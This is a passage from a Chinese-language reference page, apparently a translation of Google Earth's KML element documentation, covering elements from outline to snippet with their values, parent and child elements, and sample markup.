<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=outline></A>
<H4>&lt;outline&gt;</H4>
<DIV class=desc>单一标签，只是多边形是否只绘制轮廓<BR></DIV>
<DL>
<DT>值: 
<DD>0 (no outline) or 1.<BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#PolyStyle">&lt;PolyStyle&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=overlayXY></A>
<H4>&lt;overlayXY&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>的子元素. 定义标注图片上用来和屏幕坐标对应的一点在图片自身上的坐标. 应该有X和Y两个值和各自的单位(像素(pixels)或比例(fraction)). 例如：<A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="1" y="1" xunits="fraction" yunits="fraction"/&gt;</A>代表图片的右上角. 和<A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY of x="-50" y="0.9" xunits="pixels" yunits="fraction"/&gt;</A>一起使用, 将会使图片右上角离屏幕右边缘距离为50像素，距离屏幕顶端距离是屏幕高度的10%. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>x和y能够用以下方式指定: <BR><BR>将图片显示在屏幕的中间:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>将图片显示在屏幕的左上角:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="0" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="0" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>将图片显示在屏幕的右边:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="1" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="1" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Pair></A>
<H4>&lt;Pair&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A>的子元素.用力定义一个<B>名称/值</B>对以便为标注提供多样化的样式支持. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A><BR><BR>
<DT>子元素: 
<DD>Must contain the following:<BR>&lt;key&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=parent></A>
<H4>&lt;parent&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>的子元素.指定添加的schema字段所继承的基本类型.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>High School<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#parent">&lt;parent&gt;</A>Placemark<A href="http://www.step1.cn/googleapi/map/kml.htm#parent">&lt;parent&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Address<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>wstring<A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Average SAT score<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>int<A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>一个已经存在的KML基本类型，查看KML基本类型获得更多信息.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Placemark></A>
<H4>&lt;Placemark&gt;</H4>
<DIV class=desc>复合标签.用来描述一个地名标注.例如，可以用来描述一个地理坐标点，坐标必须以[经度,纬度,高度]来指定，而且:<BR><BR>经度: 在-180和180之间<BR>纬度:在-90和90<BR>高度:以米为单位的海拔高度(WGS84). 在地表面下面的点将会自动显示在地表面以上.<BR><BR>另外，你可以为placemark定义一系列其他的元素如视点、名称和描述.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Queen Creek<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A>-111.634<A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A>33.2407<A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A>5571.15<A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A>-0.0129749<A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A>-0.0651017<A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>1<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>root://styleMaps#default?iconId=0x300<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>-111.634,33.2486,413.037<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=Point></A>
<H4>&lt;Point&gt;</H4>
<DIV class=desc>复合标签.定义地图上一个点的坐标.使用<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>指定坐标的位置.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>-111.965,33.3217,355.27 <A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=Polygon></A>
<H4>&lt;Polygon&gt;</H4>
<DIV class=desc>复合标签，在地图上定义一个多边形.默认使用<A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A>来定义各边.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR>-88.306534, 30.227852, 0.000000 ...... -88.306534, 30.227852, 0.000000<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#innerBoundaryIs">&lt;innerBoundaryIs&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=PolyStyle></A>
<H4>&lt;PolyStyle&gt;</H4>
<DIV class=desc>复合标签.使用在<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>标签之中，为多边形指定样式<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#color">&lt;color&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#fill">&lt;fill&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outline">&lt;outline&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=range></A>
<H4>&lt;range&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>的子元素.描述当前视点的海拔，以米为单位.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A>909.907<A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由视点的位置决定.<BR><BR>
<DT>父元素: 
<DD>只能被<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>包含.<BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=refreshInterval></A>
<H4>&lt;refreshInterval&gt;</H4>
<DIV class=desc>单一标签.用来指定刷新一个网络KML文件或图片标注的时间秒数.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A>121<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A><BR>&lt;<A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A>&gt;//myServer/GoogleEarth/example.kml&lt;/<A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A>&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>1<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>TestNetworkLink<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>以秒为单位.如果该值大于0，则该项每n秒刷新一次，如果该值小于0，则该项根本不会被加载，如果该值等于0，则该项会被加载一次而不会再被刷新.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=refreshVisibility></A>
<H4>&lt;refreshVisibility&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A>的子元素.指定网络KML文件被重新加载刷新的时候是否忽略KML文档之中各标注的默认可见性.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>默认值是0,即忽略KML文档中的默认可见性设置而使所有标注的可见性不变 . 更改为1既可以在每次网络KML文件被刷新之后重新根据KML文件内容设置标注的可见性. 例如，假设有一项在KML文件之中可见性设置为0，而且refreshVisibility设置为1，当文件第一次加载到Google Earth之中的时候，该项是不显示的如果用户通过点击该项的复选框而已经使该项显示出来，这种情况下该网络KML文件被刷新之后，该项又会重新变成不显示. <BR>翻译到这里，我只好感叹又学了一招，我刚才试了一下，果然不错，非常有用。 <BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=rotation></A>
<H4>&lt;rotation&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>, <A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A>和<A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A>的子元素.用来指定图片围绕本身中心的旋转角.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>使用-180~+180的角度值来指定从0度开始的顺时针旋转角.0为默认值(不旋转)<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Schema></A>
<H4>&lt;Schema&gt;</H4>
<DIV class=desc>复合标签.用来定义一个schema以便让KML理解并不被默认支持的语法.您可以用XML模式定义您自己的语法<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>无. 
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#parent">&lt;parent&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ObjField">&lt;ObjField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ObjArrayField">&lt;ObjArrayField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleArrayField">&lt;SimpleArrayField&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=scale></A>
<H4>&lt;scale&gt;</H4>
<DIV class=desc>指定该标注横向、纵向的缩放倍数.<BR></DIV>
<DL>
<DT>值: 
<DD>从0-1的小数. <BR><BR>
<DT>父元素: 
<DD>被以下元素包含: <BR><A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A><BR>&lt;LabelStyle&gt;<BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=ScreenOverlay></A>
<H4>&lt;ScreenOverlay&gt;</H4>
<DIV class=desc>A 复合标签. 本标定义一个屏幕图片标注.将一个图片（以图片本身大小和纵横比）显示在屏幕的正中间的代码如下:<BR><BR>&lt;?xml version="1.0" encoding="UTF-8"?&gt;<BR>&lt;kml xmlns="http://earth.google.com/kml/2.0"&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay id="khScreenOverlay756"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A>This screen overlay uses fractional positioning to put the image in the exact center of the screen<A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Simple crosshairs<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>http://myserver/myimage.jpg<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR>&lt;rotationXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size x="0" y="0" xunits="pixels" yunits="pixels"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR>&lt;/kml&gt;<BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A> (必需)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=screenXY></A>
<H4>&lt;screenXY&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>的子元素. 定义图片标注在屏幕上的绘制位置.例如,screenXY为(-50, .9)并且overlayXY为(1,1)将会使图片右上角离屏幕右边缘距离为50像素，距离屏幕顶端距离是屏幕高度的10%.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>x和y能够用以下方式指定:<BR><BR>将图片显示在屏幕的中间:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>将图片显示在屏幕的左上角:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="0" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="0" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>将图片显示在屏幕的右边:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="1" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="1" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=SimpleArrayField></A>
<H4>&lt;SimpleArrayField&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>的子元素.用来定义单个字段类型的数组例如整数数组、浮点数数组或字符串数组.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=SimpleField></A>
<H4>&lt;SimpleField&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>的子元素.用来定义单个字段类型例如整数、浮点数或字符串.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>height<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>int<A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=size></A>
<H4>&lt;size&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>.的子元素.用来指定图片的大小.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>用法如下. <BR><BR>使用图片本身的大小和纵横比,应将值设成0:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size x="0" y="0" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>使图片宽度不变，高度变为原来的80%:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size x="0" y="0.2" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>强制图片大小为100*500:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size x="100" y="500" xunits="pixels" yunits="pixels"/&gt;</A><BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=south></A>
<H4>&lt;south&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A>.的子元素.指定图片标注底边缘的纬度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A>38.5209<A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由图片标记所描述的实际地理位置决定，经度和纬度以度数表示<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=snippet></A>
<H4>&lt;snippet&gt;</H4>
<DIV class=desc>单一标签，用来显示在Google Earth之中的对description的简短概要.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>任意值<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Style></A>
<H4>&lt;Style&gt;</H4>
